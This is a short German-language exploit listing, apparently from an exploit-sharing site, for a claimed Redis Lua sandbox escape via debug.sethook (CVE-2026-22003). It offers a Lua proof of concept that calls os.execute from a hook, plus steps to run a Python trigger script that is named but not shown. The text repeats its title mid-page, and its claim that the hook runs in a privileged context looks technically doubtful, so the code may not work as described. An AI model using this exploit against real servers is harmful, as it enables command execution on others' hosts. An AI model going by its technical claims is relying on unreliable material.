CVE-2026-22003 – Redis-Lua-Sandbox-Escape über debug.sethook

Programmcode (Lua + Python-Trigger)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Redis-Lua-Sandbox-Escape über debug.sethook

Überblick

Die Redis-Lua-Sandbox deaktiviert die Funktion debug.sethook nicht ordnungsgemäß. Ein Angreifer, der Lua-Skripte ausführen kann, kann einen Hook installieren, der in einem privilegierten Kontext ausgeführt wird, und die Sandbox verlassen, um beliebige Systembefehle auszuführen.

Details zur Schwachstelle

• Typ: Sandbox-Escape
• Auswirkung: Remotecodeausführung auf dem Redis-Host.
• Grundursache: Die Debug-Bibliothek der Lua-Umgebung bleibt zugänglich, sodass Hooks os.execute oder ähnliche Funktionen aufrufen können.

Exploit-Demonstration

1. Starten Sie einen Redis-Server (mit Standardkonfiguration, die EVAL erlaubt).
2. Führen Sie den Exploit aus:
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

Die Datei /tmp/redis_escape wird erstellt, was die Befehlsausführung beweist.